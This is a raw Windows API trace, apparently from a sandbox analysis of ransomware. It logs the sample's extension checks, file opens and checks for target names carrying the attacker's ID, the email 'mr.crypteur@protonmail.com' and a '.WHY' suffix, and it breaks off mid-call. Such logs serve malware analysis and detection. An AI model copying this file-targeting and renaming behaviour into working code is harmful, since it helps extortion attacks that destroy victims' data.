[0226.847] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0226.847] lstrlenW (lpString=".pdf") returned 4 [0226.847] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0226.847] lstrlenW (lpString=".xls") returned 4 [0226.847] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0226.848] lstrlenW (lpString=".xlsx") returned 5 [0226.848] lstrcmpiW (lpString1=".xlsx", lpString2="7.DLL") returned -1 [0226.848] lstrlenW (lpString=".ppt") returned 4 [0226.848] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0226.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.848] lstrlenW (lpString=".zip") returned 4 [0226.848] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0226.848] lstrlenW (lpString=".rar") returned 4 [0226.848] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0226.848] lstrlenW (lpString=".bz2") returned 4 [0226.848] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0226.849] lstrlenW (lpString=".7z") returned 3 [0226.849] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0226.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.849] lstrlenW (lpString=".dbf") returned 4 [0226.850] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0226.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.850] lstrlenW (lpString=".1cd") returned 4 [0226.850] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0226.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.850] lstrlenW (lpString=".jpg") returned 4 [0226.850] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0226.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.850] lstrlenW (lpString=".doc") returned 4 [0226.850] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0226.850] lstrlenW (lpString=".docx") returned 5 [0226.850] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0226.851] lstrlenW (lpString=".pdf") returned 4 [0226.851] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0226.851] lstrlenW (lpString=".xls") returned 4 [0226.851] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0226.851] lstrlenW (lpString=".xlsx") returned 5 [0226.851] lstrcmpiW (lpString1=".xlsx", lpString2="7.DLL") returned -1 [0226.851] lstrlenW (lpString=".ppt") returned 4 [0226.851] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0226.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.851] lstrlenW (lpString=".zip") returned 4 [0226.851] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0226.851] lstrlenW (lpString=".rar") returned 4 [0226.851] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0226.851] lstrlenW (lpString=".bz2") returned 4 [0226.851] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0226.852] lstrlenW (lpString=".7z") returned 3 [0226.852] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0226.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.852] lstrlenW (lpString=".dbf") returned 4 [0226.852] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0226.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.852] lstrlenW (lpString=".1cd") returned 4 [0226.852] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0226.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0226.852] lstrlenW (lpString=".jpg") returned 4 [0226.852] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0226.853] lstrcmpiW (lpString1=".dll", lpString2=".WHY") returned -1 [0226.853] lstrlenW (lpString="msdia100.dll") returned 12 [0226.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0227.495] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=990032) returned 1 [0227.495] CloseHandle (hObject=0x2d0) returned 1 [0227.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0227.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.496] lstrlenW (lpString=".doc") returned 4 [0227.496] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0227.496] lstrlenW (lpString=".docx") returned 5 [0227.496] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0227.496] lstrlenW (lpString=".pdf") returned 4 [0227.496] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0227.496] lstrlenW (lpString=".xls") returned 4 [0227.496] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0227.496] lstrlenW (lpString=".xlsx") returned 5 [0227.496] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0227.496] lstrlenW (lpString=".ppt") returned 4 [0227.496] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0227.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.496] lstrlenW (lpString=".zip") returned 4 [0227.496] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0227.496] lstrlenW (lpString=".rar") returned 4 [0227.497] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0227.497] lstrlenW (lpString=".bz2") returned 4 [0227.497] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0227.497] lstrlenW (lpString=".7z") returned 3 [0227.497] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0227.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.497] lstrlenW (lpString=".dbf") returned 4 [0227.497] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0227.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.497] lstrlenW (lpString=".1cd") returned 4 [0227.497] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0227.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.497] lstrlenW (lpString=".jpg") returned 4 [0227.498] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0227.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.498] lstrlenW (lpString=".doc") returned 4 [0227.498] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0227.498] lstrlenW (lpString=".docx") returned 5 [0227.498] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0227.498] lstrlenW (lpString=".pdf") returned 4 [0227.498] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0227.498] lstrlenW (lpString=".xls") returned 4 [0227.498] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0227.498] lstrlenW (lpString=".xlsx") returned 5 [0227.498] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0227.499] lstrlenW (lpString=".ppt") returned 4 [0227.499] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0227.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.499] lstrlenW (lpString=".zip") returned 4 [0227.499] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0227.499] lstrlenW (lpString=".rar") returned 4 [0227.499] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0227.499] lstrlenW (lpString=".bz2") returned 4 [0227.499] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0227.499] lstrlenW (lpString=".7z") returned 3 [0227.499] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0227.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.499] lstrlenW (lpString=".dbf") returned 4 [0227.499] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0227.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.500] lstrlenW (lpString=".1cd") returned 4 [0227.500] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0227.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned 62 [0227.500] lstrlenW (lpString=".jpg") returned 4 [0227.500] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0227.500] lstrcmpiW (lpString1=".SHX", lpString2=".WHY") returned -1 [0227.501] lstrlenW (lpString="GBCBIG.SHX") returned 10 [0227.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0228.916] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=902841) returned 1 [0228.917] CloseHandle (hObject=0x380) returned 1 [0228.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx")) returned 0x20 [0229.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.003] lstrlenW (lpString=".doc") returned 4 [0229.003] lstrcmpiW (lpString1=".doc", lpString2=".SHX") returned -1 [0229.003] lstrlenW (lpString=".docx") returned 5 [0229.003] lstrcmpiW (lpString1=".docx", lpString2="G.SHX") returned -1 [0229.003] lstrlenW (lpString=".pdf") returned 4 [0229.003] lstrcmpiW (lpString1=".pdf", lpString2=".SHX") returned -1 [0229.003] lstrlenW (lpString=".xls") returned 4 [0229.003] lstrcmpiW (lpString1=".xls", lpString2=".SHX") returned 1 [0229.003] lstrlenW (lpString=".xlsx") returned 5 [0229.003] lstrcmpiW (lpString1=".xlsx", lpString2="G.SHX") returned -1 [0229.004] lstrlenW (lpString=".ppt") returned 4 [0229.004] lstrcmpiW (lpString1=".ppt", lpString2=".SHX") returned -1 [0229.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.004] lstrlenW (lpString=".zip") returned 4 [0229.004] lstrcmpiW (lpString1=".zip", lpString2=".SHX") returned 1 [0229.004] lstrlenW (lpString=".rar") returned 4 [0229.004] lstrcmpiW (lpString1=".rar", lpString2=".SHX") returned -1 [0229.004] lstrlenW (lpString=".bz2") returned 4 [0229.004] lstrcmpiW (lpString1=".bz2", lpString2=".SHX") returned -1 [0229.004] lstrlenW (lpString=".7z") returned 3 [0229.004] lstrcmpiW (lpString1=".7z", lpString2="SHX") returned -1 [0229.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.004] lstrlenW (lpString=".dbf") returned 4 [0229.005] lstrcmpiW (lpString1=".dbf", lpString2=".SHX") returned -1 [0229.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.005] lstrlenW (lpString=".1cd") returned 4 [0229.005] lstrcmpiW (lpString1=".1cd", lpString2=".SHX") returned -1 [0229.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.005] lstrlenW (lpString=".jpg") returned 4 [0229.005] lstrcmpiW (lpString1=".jpg", lpString2=".SHX") returned -1 [0229.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.005] lstrlenW (lpString=".doc") returned 4 [0229.005] lstrcmpiW (lpString1=".doc", lpString2=".SHX") returned -1 [0229.005] lstrlenW (lpString=".docx") returned 5 [0229.006] lstrcmpiW (lpString1=".docx", lpString2="G.SHX") returned -1 [0229.006] lstrlenW (lpString=".pdf") returned 4 [0229.006] lstrcmpiW (lpString1=".pdf", lpString2=".SHX") returned -1 [0229.006] lstrlenW (lpString=".xls") returned 4 [0229.006] lstrcmpiW (lpString1=".xls", lpString2=".SHX") returned 1 [0229.006] lstrlenW (lpString=".xlsx") returned 5 [0229.006] lstrcmpiW (lpString1=".xlsx", lpString2="G.SHX") returned -1 [0229.006] lstrlenW (lpString=".ppt") returned 4 [0229.006] lstrcmpiW (lpString1=".ppt", lpString2=".SHX") returned -1 [0229.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.006] lstrlenW (lpString=".zip") returned 4 [0229.006] lstrcmpiW (lpString1=".zip", lpString2=".SHX") returned 1 [0229.006] lstrlenW (lpString=".rar") returned 4 [0229.007] lstrcmpiW (lpString1=".rar", lpString2=".SHX") returned -1 [0229.007] lstrlenW (lpString=".bz2") returned 4 [0229.007] lstrcmpiW (lpString1=".bz2", lpString2=".SHX") returned -1 [0229.007] lstrlenW (lpString=".7z") returned 3 [0229.007] lstrcmpiW (lpString1=".7z", lpString2="SHX") returned -1 [0229.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.007] lstrlenW (lpString=".dbf") returned 4 [0229.007] lstrcmpiW (lpString1=".dbf", lpString2=".SHX") returned -1 [0229.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.007] lstrlenW (lpString=".1cd") returned 4 [0229.007] lstrcmpiW (lpString1=".1cd", lpString2=".SHX") returned -1 [0229.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0229.007] lstrlenW (lpString=".jpg") returned 4 [0229.007] lstrcmpiW (lpString1=".jpg", lpString2=".SHX") returned -1 [0229.008] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0229.008] lstrlenW (lpString="OmdProject.dll.mui") returned 18 [0229.008] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.010] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=12288) returned 1 [0229.010] CloseHandle (hObject=0x380) returned 1 [0229.010] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui")) returned 0x20 [0229.012] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.012] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.012] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.013] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.013] lstrlenW (lpString=".doc") returned 4 [0229.013] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.013] lstrlenW (lpString=".docx") returned 5 [0229.013] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.013] lstrlenW (lpString=".pdf") returned 4 [0229.013] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.013] lstrlenW (lpString=".xls") returned 4 [0229.013] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.013] lstrlenW (lpString=".xlsx") returned 5 [0229.013] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.013] lstrlenW (lpString=".ppt") returned 4 [0229.013] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.013] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.013] lstrlenW (lpString=".zip") returned 4 [0229.013] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.014] lstrlenW (lpString=".rar") returned 4 [0229.014] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.014] lstrlenW (lpString=".bz2") returned 4 [0229.014] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.014] lstrlenW (lpString=".7z") returned 3 [0229.014] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.014] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.014] lstrlenW (lpString=".dbf") returned 4 [0229.014] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.014] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.014] lstrlenW (lpString=".1cd") returned 4 [0229.014] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.014] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.014] lstrlenW (lpString=".jpg") returned 4 [0229.014] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.015] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.015] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.015] lstrlenW (lpString=".doc") returned 4 [0229.015] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.015] lstrlenW (lpString=".docx") returned 5 [0229.015] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.015] lstrlenW (lpString=".pdf") returned 4 [0229.015] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.015] lstrlenW (lpString=".xls") returned 4 [0229.015] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.015] lstrlenW (lpString=".xlsx") returned 5 [0229.015] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.015] lstrlenW (lpString=".ppt") returned 4 [0229.016] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.016] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.016] lstrlenW (lpString=".zip") returned 4 [0229.016] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.016] lstrlenW (lpString=".rar") returned 4 [0229.016] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.016] lstrlenW (lpString=".bz2") returned 4 [0229.016] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.016] lstrlenW (lpString=".7z") returned 3 [0229.016] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.016] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.016] lstrlenW (lpString=".dbf") returned 4 [0229.016] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.016] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.016] lstrlenW (lpString=".1cd") returned 4 [0229.017] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.017] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned 51 [0229.017] lstrlenW (lpString=".jpg") returned 4 [0229.017] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.018] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x42f8740, Size=0x2000) returned 0x42f8740 [0229.018] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0229.018] lstrlenW (lpString="WMM2CLIP.dll.mui") returned 16 [0229.018] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.020] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=7168) returned 1 [0229.020] CloseHandle (hObject=0x380) returned 1 [0229.020] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui")) returned 0x20 [0229.020] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.021] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.021] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.021] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.021] lstrlenW (lpString=".doc") returned 4 [0229.021] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.021] lstrlenW (lpString=".docx") returned 5 [0229.021] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.021] lstrlenW (lpString=".pdf") returned 4 [0229.022] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.022] lstrlenW (lpString=".xls") returned 4 [0229.022] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.022] lstrlenW (lpString=".xlsx") returned 5 [0229.022] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.022] lstrlenW (lpString=".ppt") returned 4 [0229.022] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.022] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.022] lstrlenW (lpString=".zip") returned 4 [0229.022] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.022] lstrlenW (lpString=".rar") returned 4 [0229.022] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.022] lstrlenW (lpString=".bz2") returned 4 [0229.022] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.023] lstrlenW (lpString=".7z") returned 3 [0229.023] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.023] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.023] lstrlenW (lpString=".dbf") returned 4 [0229.023] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.023] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.023] lstrlenW (lpString=".1cd") returned 4 [0229.023] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.023] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.023] lstrlenW (lpString=".jpg") returned 4 [0229.023] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.023] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.024] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.024] lstrlenW (lpString=".doc") returned 4 [0229.024] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.024] lstrlenW (lpString=".docx") returned 5 [0229.024] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.024] lstrlenW (lpString=".pdf") returned 4 [0229.024] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.024] lstrlenW (lpString=".xls") returned 4 [0229.024] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.024] lstrlenW (lpString=".xlsx") returned 5 [0229.024] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.024] lstrlenW (lpString=".ppt") returned 4 [0229.024] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.024] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui") returned 49 [0229.024] lstrlenW (lpString=".zip") returned 4 [0229.025] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.025] lstrlenW (lpString=".rar") returned 4 [0229.025] lstrcmpiW 